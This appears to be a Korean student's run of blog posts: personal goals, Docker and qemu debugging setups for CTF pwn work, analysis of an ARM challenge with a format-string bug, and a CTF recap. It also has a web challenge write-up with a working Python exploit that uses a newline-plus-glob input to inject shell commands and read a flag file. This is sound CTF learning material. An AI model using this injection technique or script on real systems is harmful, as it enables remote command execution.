안녕하세요, 오랜만입니다. 지난 포스팅으로부터 딱 반년째에 찾아뵙습니다. 사실 포스팅 자체는 간간히 했었고, 블로그에 기능도 추가해왔었는데요..

어렸을 때 부터 다섯장 쓴 노트는 안중에 없고 새 노트를 찾던 그 습성이 또 발동해버렸습니다.

처음 이 블로그를 만들 때는 정기 발간지 처럼 아무리 현생이 바쁘더라도 스스로에게 꼭 쓰게할 의무를 부여하자. 일주일에 두번은 공부한 걸 기록하자. 이게 다 피가 되고 살이 된단걸 알잖아 다연아.. 라는 마음이었는데요, 실천으로 잘 이어지지 못했습니다. 안타깝네요.

지난 과오를 반복하지 않기 위해 그 원인을 분석해보자면 이렇습니다.
(1) 공부하지 않음
(2) 공부한 것을 말로 설명할 정도로 납작화하지 않음
(3) 생각의 굴레

(4) 필기 욕구 때문에 블로그 이쁘게 꾸며놓음 > 노션 to 블로그 자동 업로드화 해봤지만 추가 설정을 많이 만져놓은 탓에 한계가 있음(물론 충분히 파보지도 않음)> (3) 생각의 굴레
(5) 그렇다고 밤티 티O토리로 돌아가자니 필기 욕구가 충족되지 않음
잘 이해되지 않을 수 있지만, 저는 그렇게 살아지는 인간인 것입니다..

학부연구생으로 일 해보니 더욱이 문서화의 중요성은 정말 무시 못하겠더라고요. 하자니 또 (1)~(5)의 굴레의 빠져서 그닥 효율이 나지 않는, 그런 늪같은 반년을 보내고 왔습니다.

그래서 #1. 사람들 잘 지내십니까 > 저는 그닥.. 이정도로 첫 챕터를 닫아볼 수 있겠습니다.

#2. 앞으로 나아가려는 모종의 노력 (1)

일타강사 정승재T가 말했습니다. 사람은 본인의 이상과 본인의 행동이 정합하지 않을 때 가장 괴롭다고. 누군가는 괴로워서 쉬지 못하고, 누군가는 괴로워서 무기력해지는.. 우리 세상에서 아주 흔한 괴로움에 관한 얘기입니다.

저는 그런 괴로움에 무기력해지는 편인 것 같습니다. 그치만 해야할 일이 있단 건 아니까 이따금 힘을 내서 할 일을 쳐내봅니다. 그러다보면 생각이 많아지고 거기에 압도되는 기분입니다. 더이상 이대론 안된다!

내가 조금씩 침몰해서 해저에서 수면을 원망하게되는 그런 미래는 싫습니다.. (마치 인터스텔라 5차원 씬)
그래서 첫번째 노력. 병원을 다녀왔습니다. 단순히 스트레스, 우울감, 무력감, 집중력 등 뇌나 인간됨의 차원에 있는 문제일 수 있다고 생각해서 였습니다.

초진과 종합심리검사를 거쳐 이후 진료를 목전에 두고 있는 상태이지만, 현재 소견으로썬 임상적으로 문제가 있지 않다고 합니다.
사실 진단명이 있기를 내심 기대했습니다.
정확히는 진단명이 주는 문제의 완결성을 기대한 것 같습니다. 약 잘 먹고 몇 개월 혹은 몇 년 내원하다보면 해소되는?

그래서.. #2. 앞으로 나아가려는 모종의 노력 (1) == 내원 > 잠정 실패
이정도로 두번째 챕터를 닫아볼 수 있겠습니다.

#3. 앞으로 나아가려는 모종의 노력 (2)

이건 어쩌면 노력 1보다도 먼저 선행되었던 것인데요, 주변에서 배울만한 어른을 찾고 고민신청을 하는 것입니다.
근데 이게 마치.. 남들은 딱히 알고싶지 않은 은밀하고 커다란 것을 휘두르고 다니는 느낌이라 그만두는게 좋겠다고 생각했습니다.

결정적으로 이렇게 생각하게된 사건은 불과 얼마 전인데요, 그건 바로…
비공식 프로젝트를 끌고 나가다가 막막한 마음에 교수님께 푸념을 한 사건입니다.

혼자 들어간 회의도 아니었기 때문에 배설💩하듯 말하고 나선 크게 후회했습니다.
무언가 휘두르다는 게 딱 이런 것 아니겠습니까.. 그 자리에 있던 누구라도 당황스러웠을 것이란 생각에 며칠이 괴로웠던 것 같습니다.

말은 습관이고, ‘내 고민에 진솔함’이 습관이 된다면, 생각의 괄약근이 제 기능을 못해 말실금(ft. O실금)이 발생하게 되는 것 같습니다. 간수를 잘 해야겠지요..

#4. 앞으로 나아가려는 모종의 노력ing (3)

그리하여 지금입니다. 빠른 디버깅과 트러블슈팅이 이뤄지길 간절히 바라며..

생각이 많다면(디버깅),
(1) 빠짐없이 적고, 적으면서
(2) 더 디테일하게 고민하고,
(3) 구체적인 해결방안을 최소한으로 실천하자
라고 생각했습니다. 그래서 이 글은 최소한의 실천입니다.

#5. 나는 뭘 하고 싶은가

이렇게 정리해봤습니다.
앞으로는 상념이 떠오를 때면 이 마인드맵을 다시 펴보고, 어느 것 하나 지운 것이 있는지 스스로 물어보려고 합니다.

이 중에서도 당장에 그래서 뭘 할 것인지를 납작하게 선언해야 이번주의 포스팅을 스스로 강제할 수 있을 것 같은데요..

이번주는(26.06.02-06.07)
(1) MCP redteaming 문서화
(1)-1 MITRE ATLAS, AVID PoC?(안 봐서 정확히 어떤 포맷인지 잘 모름) 수집 및 반영
(2) KCC, ICML에서 읽어갈 분야 겹치게끔 3개 선정, 각 분야의 한 논문 씩 읽어서 기록
을 해보도록 하겠습니다.
다소 오버부킹한건가 걱정이 되지만,
그건 스스로 얼마 만큼의 일을 할 수 있는지를 차차 객관화해나가는 하나의 과정이라고 생각합니다.

다음 포스팅에선 정한 목표를 달성하는 이다연으로 돌아오겠습니다..

#6. +홈커밍 파티에 갔다와서

이대로 마무리하려다 오늘 학과 선배님들과 만나 나눈 얘기들을 잊고싶지 않아서 간략히 메모를 추가합니다.

• 세상은 섹시한 일과 섹시하지 않은 일이 있다
• 섹시하지 않은 일도 누군가 해야한다
• like scratch 부터 데이터를 모으고 모델을 만드는 일이라도, 혹 누군가 내 수고와 경험을 몰라줄까 걱정되어도 진짜는 진짜를 알아보기 마련이다.
• 그렇기 때문에 하는 일이 섹시하건 그렇지 않건 그 일이 필요한지, ‘진짜’인지를 고찰해야한다. 반례로는 AX 해커톤
• 이시대에 필요한 것은 진짜를 고찰하는 태도와 만약 그것을 가려낼 수 있다면 실천으로 옮기는 것이다
• 적성은 전공보다도 취향이다. 개발이 좋은게 아니라 무언가를 만들고 그 결과를 보는 게 좋은 것이다.
• 이러한 관점에서 적성을 찾고, 좋아하는게 없다면 딱히 해줄 말이 없으니 그저 많이 경험해라
• 일찍 시작하는 것에 확실히 메리트는 있다.
• 이렇게 찾고 질문하는 거서부터 큰 걱정 않아도 된다.
• __와 __는 가치관의 차이이다
• 모두가 졸업과 동시에 취업을 하는 것은 일종의 세상의 사기라고 생각한다. 대학원이든, 직장이든 누군가의 노예가 되는 것은 같다.

기존의 docker 내부 process에 대해, WSL root 계정으로 gdb-pwndbg -p PID 로 attach하는 방식이 더 이상 유효하지 않아 새로운 방법을 찾아보았다.

1. Docker, gdbserver - CykorCTF2025-pwn-2-dbfs

1. dockerfile setting + run, exec
   보통 로컬에서 p.remote가 가능하게 하기 위해, 제공되는 dockerfile은 EXPOSE nnnn 포트를 하나 열어둔다. 여기서 PORT 하나 더 추가 + apt intsll -y gdbserver을 하도록 docker-compose-debug.yaml을 커스텀해준다.

    services:
    dbfs-debug:
      image: ubuntu:24.04@sha256:4fdf0125919d24aec972544669dcd7d6a26a8ad7e6561c73d5549bd6db258ac2
      ports:
        - "22222:22222"
        - "1234:1234"
      volumes:
        - ./client:/app/client
        - ./flag:/flag
      privileged: true
      stdin_open: true
      tty: true
      command: bash -c "
        apt update && 
        apt install -y gdbserver &&
        chmod +x /app/client &&
        mkdir -p /tmp/dbfs-test &&
        gdbserver :1234 /app/client /tmp/dbfs-test
   

   완료되었다면 아래를 실행한다.

     docker-compose -f docker-compose-debug.yaml up
   

   .yaml이 아닌 Dockerfile인 경우 아래를 참고한다.

   Dockerfile 기준

        docker build -f Dockerfile.debug -t cydf_debug .
        docker run -it --rm -p 7183:7183 -p 1234:1234 --cap-add=SYS_PTRACE //opt1
        docker run -d -p 7183:7183 --cap-add=SYS_PTRACE --name cydf cydf_debug sleep infinity //opt2
   

   이렇게 하면 터미널이 열리지 않은 것 처럼 보여도, socat이 이미 듣고 있으므로 pwntools를 통해 p.remote(localhost, 7183)을 해주면 바이너리가 열린다.
   추가로 docker 터미널을 열어주자.

        docker exec -d cydf bash -c 'socat -T 300 TCP-LISTEN:7183,reuseaddr,fork EXEC:./CYDF_Average'
   

   이렇게 docker 터미널을 열었다면 socat으로 listening 상태를 만들어주어야한다. 열어두기로 정한 포트로 통신이 들어오면 바이너리를 실행하는식.

     socat TCP-LISTEN:22222,reuseaddr,fork EXEC:'/app/client /tmp/dbfs-test' &
   

2. localhost에 pwntools로 remote 걸기
   

    from pwn import *
   
    p = remote('localhost', 22222)
    pause()  # 여기서 멈춤 - gdb attach 할 시간
    p.sendlineafter(b'dbfs> ', b'SET AAA set')
    # ...
   

   익스 코드 최상단에 위와 같이 작성한다. 이 때 유의하여야할 점은, 1-1 단계에서 docker를 만들면서 EXPOSE한 두 개 포트 가운데 하나에 해당하는 포트번호를 적어주어야 한단 것이다.
   그리고 pause()를 필수로 걸어줘야 한다. python 스크립트 실행 이후에 디버거를 붙이기 때문에, pause없이 이후 익스플로잇을 실행하게 되면 디버거에서 적절한 관찰이 어려울 수 있다.

3. docker에서 gdbserver 열고 local에서 gdb-pwndbg로 target remote

    $docker> gdbserver :1234 --attach $(pgrep -n client)
   

   위 스크립트는 socat으로 파이너리가 실행중인 상태가 아니면 작동하지 않는다.

    $local> gdb-pwndbg ./client
    $pwndbg> target remote localhost:1234
    $pwndbg> b *handle_info + 0x20d
    $pwndbg> c
    #...
   

4. (opt) tmp 디렉터리 초기화
   socat이 예상 외의 오류를 낸다면 아래와 같이 docker 내에서 socat을 다시 시작할 수 있다.

    $docker> pkill socat
    $docker> rm -rf /tmp/dbfs-test
    $docker> mkdir -p /tmp/dbfs-test
    $docker> socat TCP-LISTEN:22222,reuseaddr,fork EXEC:'/app/client /tmp/dbfs-test' &
   

2. qemu-user-static + ARM + pwndbg/gef - 내부CTF-pwn-forty-seven-bells

동기가 만든 문제인데, 1번의 방법으론 디버깅이 되지 않기 때문에 들고왔다.

출처로 출제자의 깃헙을 첨부한다.

1. qemu-user-static 설치, gdbinit.py 찾기

    sudo apt install qemu-user-static
    # pwndbg 경로 찾기 
    find ~ -name "gdbinit.py" 2>/dev/null | grep pwndbg
    # gef 경로 찾기
    find ~ -name "gef.py" 2>/dev/null
   

   pwndbg, gef 모두 가능하기 때문에 비교적 편한 것으로 진행하면 된다. pwndbg의 경우 …/pwndbg/gdbinit.py로 출력되는 경로를 복사해둔다.

2. exploit code 실행 with qemu server

    from pwn import *
   
    context.arch = 'arm'
    context.bits = 32
   
    # 로컬 디버깅용
    p = process(["qemu-arm-static", "-g", "1234", "-L", "/usr/arm-linux-gnueabihf", "./prob"])
    # pause() 대신 gdb가 붙을 시간
    sleep(1)
   
    # 터미널 2에서 gdb-multiarch ... target remote :1234 실행
    pause()  # gdb 붙인 후 엔터
   
    # 익스 진행...
   

   위 코드를 실행한다. 바이너리, 사용할 포트 번호에 따라 대동소이할 수 있다.

3. gdb-multiarch using pwndbg를 프로세스에 attach하기

    gdb-multiarch -q \
    -ex "source /home/jshrb/pwndbg/gdbinit.py" \
    -ex "set architecture arm" \
    -ex "target remote localhost:1234" \
    -ex "file ./prob"
   

   

C:.
│  Dockerfile
│  flag
│  get-docker.sh
│  libprob.so
│  prob
│  
├─for_user
└─__MACOSX
    │  ._for_user
    │  
    └─for_user
            ._Dockerfile
            ._flag
            ._libprob.so
            ._prob

💡 전체 로드맵

1. Premitive - Static Analysis

시험공부하다가 너무 졸려서 적는 롸업..
탈모탈모빔,, 교수님께서 답장이 오질않는다

1. ,,,

   

   

   • fopen, fread, fclose → 파일 I/O
     
   • mmap, srand, rand -> 메모리/랜덤 위 사항들을 간주어봤을 때, 외부 .so 파일을 런타임에 로드함. 즉, prob은 로더일 뿐 실제 로직은 libprob.so(에서 로드해오는 challenge_main)에 있음
   main 세부 사항

        // 1. 랜덤 시드 설정 (urandom 또는 time)
        fopen("/dev/urandom", "r");
        srand(seed);
        // 2. 랜덤 패딩 mmap (자체 PIE 구현)
        local_24 = (rand() & 0xff) << 0xc;  // 0 ~ 255 페이지
        mmap(NULL, local_24, ...);
   
        // 3. libprob.so 로드
        dlopen("./libprob.so", RTLD_NOW);
   
        // 4. challenge_main 함수 찾아서 호출
        pcVar4 = dlsym(handle, "challenge_main");
        (*pcVar4)();  // challenge_main() 호출
   

2. libprob.so의 challenge_main 분석

   

   

      //libpro.so에서 custom된 함수들의 오프셋은 다음과 같음.
      present @ 0x74c
      santa @ 0x7f5  
      rudolph @ 0x825
      elves @ 0x899
      challenge_main @ 0x8e1
      prologue @ 0x799
   

      void challenge_main(void)
   
      {
        undefined4 local_14 [2];
           
        setvbuf(stdin,(char *)0x0,2,0);
        setvbuf(stdout,(char *)0x0,2,0);
        do {
          prologue();
          __isoc99_scanf(&DAT_00010ae8,local_14);
          getchar();
          switch(local_14[0]) {
          case 1:
            santa();
            break;
          case 2:
            rudolph();
            break;
          case 3:
            elves();
            break;
          case 4:
            puts("Bye!");
                          /* WARNING: Subroutine does not return */
            exit(0);
          default:
            puts("Invalid choice!");
          }
        } while( true );
      }
   
   

   challenge_main은 단순히 메뉴를 제공하는 함수

3. challenge_main의 각 메뉴가 되는 함수 분석

    //1일때 호출되는 santa()
    void santa(void)
   
    {
      undefined1 auStack_c [4];
         
      printf("Index: ");
      __isoc99_scanf(&DAT_00010ac0,auStack_c);
      return;
    }
    //2일 때 호출되는 roudolgh()
    void rudolph(void)
   
    {
      undefined4 local_18;
      int local_14 [2];
         
      printf("Index: ");
      __isoc99_scanf(&DAT_00010ac0,local_14);
      printf("Value: ");
      __isoc99_scanf(&DAT_00010acc,&local_18);
      *(undefined4 *)(&bss_buffer + local_14[0]) = local_18;
      puts("Written!");
      return;
    }
   
    //3일 때 호출되는 elves()
    void elves(void)
   
    {
      char acStack_108 [255];
      undefined1 local_9;
         
      printf("Message: ");
      read(0,acStack_108,0xff);
      local_9 = 0;
      printf(acStack_108);
      putchar(10);
      return;
    }
   
    //4일 때는 puts(Bye!)
   

갑자기 팀을 꾸려 나가게 됐다. 무려 첫번째 다인 squad 출전! 제대로 해본 CTF도 이제 두번째다.

어쩌다 11명이 된 이 인력거 팟은.. 내가 “버스는 못 태워드리고 같이 인력거 끌어요~” 라고 한 말에서 출발했다.

정말 즐겜만 하자고 생각했는데 새벽에 막 플래그 딸랑말랑 끝날 시간은 가까워져 가니 초조하기도 하고, 욕심도 나고.. 그래도 다음엔 더 잘할 수 있겠다 싶었다!(작고 귀여운 점수지만 다연이 잘했다고 두둔해준 굿.. 팀원.. 굿.. 지인.. 감동의 물결임)

그런 의미에서 적는.. 다음엔 더 잘하기 위한 recap

✏️ Write Up

solve 갯수가 작지만… 귀엽게 봐주자. write up은 각 항목에 링크를 달아놨다!

1. 대회 중에 solve 성공한 문제
   1. [web] asterrisk
   2. [misc] baby dino
2. 거의 solve인거 같은데 못 마친 문제
   1. [pwn] dbfs
   2. [web] dbchat
3. 손은 댔는데 진행률이 미미한 문제
   1. [rev] ex-cute
   2. [crypto] ELWE
   3. [blockchain] random game
4. 다른 사람이 solve했지만 다시 풀어보고 싶은 문제
   1. [rev] nononono
   2. [pwn] GRAM
   3. [rev] Flag-Checker
      1. 🧷 [공식 write-up이 있다.]https://blog.cykor.kr/2025/10/Crew-CTF-2025-Flag-Checker
5. 디코 아카이빙에서 파묘
   1. [web]selen1um
   2. [web]safe embed

생각보다 정말 손을 많이 댄 것 같다. 타율 2할이면 야구계에선 2군정도… 갈수있으니깐..ㅎㅎ

새삼 학교를 잘 왔다. 출제자들이 동기 내지 선배라니? 직접 물어볼 수 있다니? 너무 행복하고 감사한 하루!!

✏️ 기타 잡설

가장 잘 한 일은 원격 디버깅에 조금 더 친해진 것..

🧷 [과거 로되리안에 호되게 당했던 나 1]https://dreamhack.io/forum/qna/4683
🧷 [과거 로되리안에 호되게 당했던 나 2]https://dreamhack.io/forum/qna/4756

이거 땜에 포너블과 한참 거리를 뒀었다. (patchelf, pwninit을 알고도 너무 거부감이 들어..) 그래서 한동안 Docker에서 socat을 열고, python script로 pid를 찾아 root권한의 WSL에서 gdb-pwndbg -p 로 붙였다.

🧷 [로되리안의 해결방법 1]https://0nehundred4ndt3n.tistory.com/7
🧷 [로되리안의 해결방법 2]https://blog.sechack.kr/136

근데 최근 업데이트 된 docker의 정책에 의해서 위 방법이 어려워진 것 같다. 정확힌 모르겠는데

=> PID 조회는 되고 seccomp 옵션을 줘도 디버거가 안붙게 바뀌었다가, => 이 CTF 하는 동안엔 PID가 아예 조회가 되지 않아서 보니 namespace가 달라서 전혀 조회가 안되는 것이라고 들었다. (안타깝게도 나는 시스템 구조에 대한 이해는 전혀 없다..)

그래서 다른 포너들은 어떻게 로되리안을 해결하는진 모르겠다만, 나는 한동안 손을 떼고 외면하고있었는데 이번에 해낸것! 별거 아니지만 gdbserver와 socat을 이용하는 고전고전한 방법을 따랐다. 역시 나보다 똑똑한 선배님들의 툴을 쓰면 안될게 없다.

그리고 두번째로 잘한 건.. pwn 이외에 다른 문제에 손대본거 이번이 처음!! 특히 web과 blockchain을 만지면서 와 이런게 있다고?? ㅇㅁㅇ… 의 연속이었다. 해킹의 지평은 너무나도 넓고 넓고 넓다.. 그만 넓어도 될 거 같기도 하면서 평생 공부하며 살 수 있다는 것은 감사한 일이다.

조금 아쉬운 것은, 어떡하면 바이너리를 체계적으로, 필요한 정보만 읽을지 내재화된 순서가 전혀 없단 것이다. 수학문제를 풀 때 항상 맨 뒤에서부터 읽어서 구하는게 뭔지를 알고 갈피를 잡으라고 과외돌이들한테 얘기하곤 하는데, 뭐라할 입장이 아닌 것 같다. 결국 그런 노하우가 생기려면 풀이량이 받쳐줘야한다.

여하간 방학동안 또 많은 씨텝을 나가봐야지. 실력이 금방 늘 수 있는 좋은 기회인거 같다.

C:.
│  Dockerfile
│  pow-solver.py
│
└─server
    │  core.js
    │  index.js
    │  package-lock.json
    │  package.json
    │
    ├─bin
    │      mini-run.js
    │
    ├─public
    │      app.html
    │      index.html
    │      login.html
    │      signup.html
    │
    └─users
            users.json

💡 전체 로드맵

1. 👀 primitive - static analysis

첫 시작은 index.js를 분석하는 것이다.

index.js 안에서의 데이터 흐름의 분석 과정은 다음과 같다.

1. Backwards tracing: 시스템을 장악할 수 있는 함수 (sink) 위주로 검색하기
   검색 키워드: spawn, exec, eval, system, query

   

   이 가운데에서도 spawn 함수만 indexing 된다. 해당 함수는 sh를 실행하는데, 그 변수가 되는 shell은 input으로부터 오는 것을 알 수 있다.

2. shell을 만들 때 쓰이는 input을 거꾸로 따라가기
   

   

   

   shell을 만드는 input은 정의를 따라가보면 runWithEchoPipeline의 arg1이고, runWithEchoPipeline의 모든 참조를 따라가보면 위 사진과 같이 두 지점에서 호출하고 있는 것을 확인할 수 있다. 순서대로 다음과 같다.

   💡Enpoint?

   • app.get(‘/주소’, …): GET 요청을 받는 입구
   • app.post(‘/주소’, …): POST 요청을 받는 입구
     

   소스 코드에서 app.post(‘/submit’이라는 글자를 보자마자 브라우저나 파이썬으로 http://서버주소/submit에 POST 요청을 보내면 이 함수가 실행될 것을 알 수 있음.

    // submit handler
    app.post('/submit', ... async (req, res) => {
        // [Source] 사용자가 보낸 데이터에서 'input'을 꺼냄
        const { code, input } = req.body || {}; 
           
        // [Sink] 사용자가 보낸 'input'을 그대로 함수에 넣음 -> 공격 가능!
        const r = await runWithEchoPipeline({ code, input }); 
        // ...
        });
   

    app.post('/judge-all', ... async (req, res) => {
        const { code } = req.body || {}; // 여기서는 'code'만 꺼내고 'input'은 안 꺼냄
        // [Sanitization] 서버가 스스로 'input' 값을 1부터 99까지 강제로 만듦
        const inputs = Array.from({ length: 99 }, (_, i) => String(i + 1));
        for (const t of inputs) {
            // [Safe] 사용자가 뭘 보내든 상관없이, 여기 들어가는 t는 무조건 "1", "2"... 
            const r = await runWithEchoPipeline({ code, input: t });
            // ...
        }
    });
   

   

   따라서 위와 같은 경우 submit handler가 취약할 수 있음을 이해할 수 있다.

3. submit handler에서 통과하는 shell이 하는 동작 관찰하기
   const shell = `echo ${input} | node ../bin/mini-run.js --b64code '${b64code}'`;에 ‘\n*‘를 넘기게 되면,

        echo
        * | node ...
   

   가 동작하게 된다. 쉘에서 줄바꿈은 “앞의 명령어를 끝내고, 다음 명령어를 시작해라”라는 뜻으로 세미콜론과 같은 역할을 하므로, 와일드카드(*)가 동작하는 두번째 명령어가 중요하다. 예를 들어 echo * 결과가 아래와 같다면 순서대로 {실행할 프로그램(명령어)} {args0 args1 ...} 로 인식하게 된다.

        > echo *
        >> python3 hello.py hi
        > * //python3 hello.py hi
        >> hi
   

   같은 원리로 bash cscript와 같은 명령어도 실행할 수 있다. 다시금 쉘 프로그램을 실행하여 미리 만들어둔 바이너리를 실행할 수 있는 것이다(cat ./flag.txt)
   ⇨ 입력 검증값 우회, shell injection ⇨ RCE🚨

4. shell을 만들 때 쓰이는 input을 거꾸로 따라가기; runWithEchoPipeline 함수의 validateTestInput
   

   이렇게 runWithEchoPipeline에서 초기화된 input 변수가 shell injection에 중요한 역할을 한다는 것을 알게되었으므로, input 값에 대한 filtering 조건 이 있는지 확인해봐야한다.

   💡 NOTE
   submit 발생 > runWithEchoPipeline > !! > shell 실행
   으로 이어지는데,

   

   이 때 validateTestInput이 filter 역할을 한다.

   

   validateTestInput의 정의 부분은 다음과 같이 구현되어있다.(index.js)

    function validateTestInput(inp) {
        // 1. 타입 검사: 입력값이 문자열이 아니면 차단
        if (typeof inp !== 'string') return false;
   
        // 2. 길이 검사: 글자 수는 1글자 또는 2글자여야 함
        // 이 제약 때문에 긴 공격 코드는 넣을 수 없지만, '\n*' 같은 2글자 공격은 가능
        if (inp.length < 1 || inp.length > 2) return false;
   
        // 3. 비교 기준값 1 설정 (숫자)
        // [!] check 변수에 문자열 "0"이 아니라, 숫자(Number) 0을 할당
        const check = 0;
   
        // 4. 비교 기준값 2 설정 (문자열)
        // 복잡해 보이지만, 결과적으로 upper는 문자열 "9"가 됨
        // check(0) -> "0" -> ASCII(48) -> +9(57) -> ASCII 57은 "9"
        const upper = String.fromCharCode(check.toString().charCodeAt(0) + 9);
   
        // 5. 반복문: 입력된 문자열을 한 글자씩 검사
        for (const ch of inp) {
            // 6. 핵심 취약점 발생 지점
            // 논리: (ch >= 0) 또는 (ch <= "9") 중 하나라도 참이면 통과
            if (!(ch >= check || ch <= upper)) return false;
        }
        return true;
    }
   

   구조는 아래 설명과 같다.

   자바스크립트에서 문자열과 숫자를 비교할 때, 자바스크립트 엔진은 문자열을 숫자로 강제 변환(Type Coercion)하여 비교한다. 일반적인 문자 ‘a’, ‘z’ 등은 Number(‘a’)가 NaN이 되어 NaN >= 0은 false가 되지만, 공백 문자( )나 개행 문자(\n, \t)는 숫자로 변환하면 0이 되므로, 줄바꿈 등 Shell injection에 치명적인 문자들을 허용해주게 된다.

   한편 두 condition 중 어느것 하나만 만족하면 되기 때문에, 후자도 관찰해보면 바로 ASCII 코드 상에서 “9”보다 작으면(ASCII 코드값 0x57) 통과된 다는 것이다. 이 두개의 느슨한 명제 때문에 아래가 가능하다
   아스키 57보다 작은 문자들: ! (33), “ (34), # (35), $, %, &, ‘, (, ), * (42), +, ,, -, ., /.
   

   

5. Globbing attack을 통한 shell injection을 가능하게 하기 위한 파일 생성 gadget 찾기
   

   우리는 이제껏 index.js의 submit 핸들러를 트리거 – 즉, login.html에서 로그인 성공 후 접근 가능한 app.html의 code 컴포넌트에 validateTestInput 조건에 맞는 값을 입력(아래 3. Dynamic Analysis with Docker에 기술) – 함으로써 시스템 장악 == Globbing attack을 통한 shell injection이 가능함을 관찰했다.

   그러나 이 때 중요한 지점은, validateTestInput의 검증에 의해(1-4 기술 참고) 파일 생성 Gadget이 필수란 것이다.

   

   • Globbing attack의 요구사항: 파일 생성 가능 / 파일 이름, 내용 커스텀 가능
     • writeUsers: 파일 이름이 고정됨 (USERS_DB), 파일 내용은 json 형식으로 실행할 수 없음. ❌
     • saveUserCodeToBin: 파일 이름은 username, 파일 내용은 code로 모두 커스텀 가능 💯

   따라서 Globbing이 가능한 saveUserCodeToBin을 참조하고 있는 지점을 아래 두 사진과 같이 따라가 보자.

   

   

   /judge-all은 앞선 정적분석에서 사용하지 않을 것으로 이미 판단했기 때문에, /submit과 /save에서 파일 저장을 트리거할 수 있단 것을 염두에 두어야한다.

6. submit handler와 save handler의 위치 파악

   

   

   

   

정확히 어떤 POST 요청에 대해 어떤 값이 날라가는지는 docker setting 후 개발자 도구에서 관찰할 수 있다.

2. Setting docker for Debugging

나는 디버깅 안되면 절대 익스를 못 작성하는데, 딱히 그러지 않고도 잘 솔브 하는 사람을 보면 신기하다..

주어진 도커파일을 참고하면, EXPOSE 3000 포트를 사용하므로 Dockerfile이 있는 디렉터리에서 아래를 실행하면 된다.

    docker build -t asterisk .
    docker run -d -p 3000:3000 --name asterisk_chall asterisk
    docker exec -it asterisk_chall /bin/bash

run까지만 해도 http://localhost:3000 접속은 가능하다. 익스 과정에서 서버 내부 상황을 보고싶다면 exec까지 실행해주면 된다.

3. Dynamic Analysis with Docker

메인 페이지에서 보이는 몇개 버튼을 눌러보면 http://localhost:3000/nnn.html 와 같은 방식으로 접속되는 것을 확인할 수 있다.

    app.use(express.static(path.join(__dirname, 'public')));

관찰을 토대로, submit endpoint에 접근하기 위해 ‘1. static analysis’의 마지막 부분에서 확인한 app.html을 경로로 넘겨줘보면, 바로 …/login.html로 리다이렉트 된다. 이로부터 다음 세가지를 알 수 있다.

1. 일단 app.html이 서버에 있긴 함(없으면 404 반환)
2. app.html은 로그인을 거쳐야 접근할 수 있는 페이지임
3. submit endpoint에 접근하기 위해 index.html > login.html >..> app.html을 거쳐야함

위 두 사진을 참고하면, login.html에서 로그인 성공시 app.html로 이동하게 된다. 그렇담 확인한 취약점은 app.html에 있기 때문에 아무 계정으로 로그인하고 app.html 페이지로 넘어간다.(계정정보는 server의 /app/server/users에 기록)

submit handler는 $(‘#submit’)이 눌릴 때 트리거된다. 따라서 아래와 같이 식별할 수 있다.

그렇담 이제 해당 버튼을 눌렀을 때 어떤 액션이 일어나는지 디버깅 해볼 차례다.

적당한 값과 함께 $(‘#submit’)버튼을 누르면 bp에 걸리고, 원하는 변수에 마우스온 함으로써 페이지 기준 아래쪽 칸의 값(5678) input 변수로 들어간다는 것을 알 수 있으며, 이는 마저 실행하면서 실제 이벤트가 발생됨에 따라 Network 탭에서도 아래 두번째 사진처럼 확인 가능하다.

4. exploit 작성

    import requests
    import json
    import sys

    # [중요] 문제 서버 URL (맨 뒤 슬래시 '/' 제거 필수)
    # 예: http://54.180.15.185:8080/play/Qm...
    TARGET_URL = "http://54.180.15.185:8080/play/Qm44xPxHsE1bZUtoO7ZDq0zDCexLiwGT"

    def register_and_save(s, username, code):
        # 1. Signup
        print(f"[*] Registering user: {username}")
        r = s.post(f"{TARGET_URL}/signup", json={"username": username, "password": "password123"})
        
        if "Username already exists" in r.text:
            print(f"    User {username} exists, trying to login...")
        
        # 2. Login
        r = s.post(f"{TARGET_URL}/login", json={"username": username, "password": "password123"})
        
        # 에러 체크 강화
        if not r.json().get("ok"):
            print(f"[-] Login failed for {username}")
            print(f"[-] Server Error: {r.text}")
            sys.exit(1)
            
        # 3. Save Code
        print(f"[*] Saving payload to {username}...")
        r = s.post(f"{TARGET_URL}/save", json={"code": code})
        if not r.json().get("ok"):
            print(f"[-] Save failed: {r.text}")
            sys.exit(1)

    def exploit():
        s = requests.Session()
        
        # [수정됨] 유저 이름에서 밑줄(_) 제거!
        
        # Step 1: 'bash' (명령어)
        register_and_save(s, "bash", "dummy")
        
        # Step 2: 'cscript' (실행할 스크립트 파일)
        # 내용: 플래그 파일 읽기
        register_and_save(s, "cscript", "cat /flag")
        
        # Step 3: 'ztrigger' (공격 트리거용 유저)
        # 출력 많이 하기
        trigger_code = "\n".join(["input s", "print s"] * 10)
        
        print(f"[*] Registering trigger user...")
        # 여기도 이름 변경: z_trigger -> ztrigger
        r = s.post(f"{TARGET_URL}/signup", json={"username": "ztrigger", "password": "password123"})
        s.post(f"{TARGET_URL}/login", json={"username": "ztrigger", "password": "password123"})
        
        # Step 4: 공격 실행
        # '\n*' -> 쉘 확장 -> bash cscript users.json ztrigger ...
        print("[*] Sending exploit payload...")
        r = s.post(f"{TARGET_URL}/submit", json={
            "code": trigger_code,
            "input": "\n*" 
        })
        
        response = r.json()
        stdout = response.get("stdout", "")
        
        print("\n" + "="*20 + " FULL OUTPUT " + "="*20)
        print(stdout)
        print("="*53 + "\n")
        
        if "CyKor{" in stdout:
            print(f"[+] SUCCESS! Flag found in output.")
        else:
            print("[-] Flag not found immediately. Check the FULL OUTPUT above.")

    if __name__ == "__main__":
        exploit()

github 블로그를 시작하게 되었다. 기존에 tistory 블로그를 운영했는데, 사용할 수 있는 스킨이 제한적이라 자꾸 커스텀 욕구가 올라와서 github으로 이관하게 되었다.

🧷 [tistory blog]https://0nehundred4ndt3n.tistory.com/

막상 쓰려고 github blog를 이것저것 만져본지 한달 정도 되어가는 시점에, 한편으론 매번 md 작성하고 push하는 과정이 귀찮기도 해서 아마 tistory와 github 둘 다 적절히 사용하지 않을까 싶다. ㄴ

📍 How to start Github blog in Window

1. ruby, gem 설치 / Jekyll, Bundler 설치

이미 설치된 경우 아래와 같이 확인 가능하다.

> ruby --version
> gem --version

그렇지 않은 경우 아래 사이트에서 설치마법사를 받아 진행한다. 이 때 중요한 것은, “Add Ruby executables to your PATH” 옵션을 체크해야만 한다. windows 외의 Host PC에서 진행하는 경우, 하기 사이트를 참고한다.

🧷 [ruby 설치마법사] https://rubyinstaller.org/downloads/

🧷 [ruby 설치 가이드 in Windows, mac, Linux] https://wikidocs.net/275696

64bit 윈도우의 경우 위 파일 설치

다음을 실행해 Jekyll과 Bundler 를 설치한다. 각각 테마 관리(설치), 의존성(플러그인) 관리+로컬테스트 목적이다.

